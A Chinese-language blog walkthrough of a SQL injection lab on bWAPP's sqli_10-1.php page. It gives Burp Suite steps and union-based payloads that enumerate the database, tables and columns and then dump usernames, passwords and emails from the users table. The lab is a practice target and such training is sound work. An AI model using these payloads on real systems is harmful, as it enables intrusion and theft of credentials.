標籤:sqli_10-1.php
SQL注入(AJAX/JSON/jQuery),需要知道ajax的作用,之前Google後,大概就流程是:當前頁提交的資料會先到ajax進行處理,然後在傳到伺服器。這就需要使用burpsuit,可以看到抓包內容的referer項是當前網頁提交的內容,GET頭提交的是ajax處理後要發往伺服器請求。大致是這樣,如果有什麼不對,請指出,以免我誤導他人,謝謝。
接下來開始注入了。
1、開啟burpsuit,在瀏覽器裡搜尋方塊中輸入1,然後提交,抓住資料包。結果
2、在資料包頭的URI部分輸入“title=1‘”,然後發送,結果
然後發送到Repeater。
3、判斷是什麼類型注入
先輸入“title=1%‘and‘%‘=‘”,發現返回資料沒有報錯,把“1”換成“i”,發現返回正常資料;因為鋼鐵俠(iron man)有“i”,所以可以正常返回。結果
4、判斷欄位數:
輸入“title=1%‘+order+by+7+--+”,返回正常;輸入“title=1%‘+order+by+8+--+”,返回錯誤;burpsuit的空格需要用“+”表示。結果如:
查看一下,輸入“title=1%‘union+select+1,2,3,4,5,6,7+--+”,結果
5、查詢資料庫等資訊:
輸入“title=1%‘union+select+1,2,3,4,5,6,group_concat(database(),"||",version(),"||",user())+--+”,查詢資料庫名、資料庫版本、目前使用者,結果
資料庫名為“bwapp”,資料庫版本“5.5.53”,目前使用者“[email protected]”。
6、查詢表名:
輸入“title=1%‘union+select+1,2,3,4,5,6,table_name+from+information_schema.tables+where+table_schema=‘bwapp‘+--+”,發現較重要的表名為users。結果
7、查詢欄位名:
輸入“title=1%‘union+select+1,2,3,4,5,6,column_name+from+information_schema.columns+where+table_name=‘users‘+--+”,發現較重要的欄位名有“admin、password、email”,結果
8、查詢欄位內容:
輸入“title=1%‘union+select+1,2,3,4,5,6,group_concat(admin,"||",password,"||",email)+from+users+--+”,結果
好像講的很簡單,有什麼問題可以一起討論啊。
SQL注入之bWAPP之sqli_10-1.php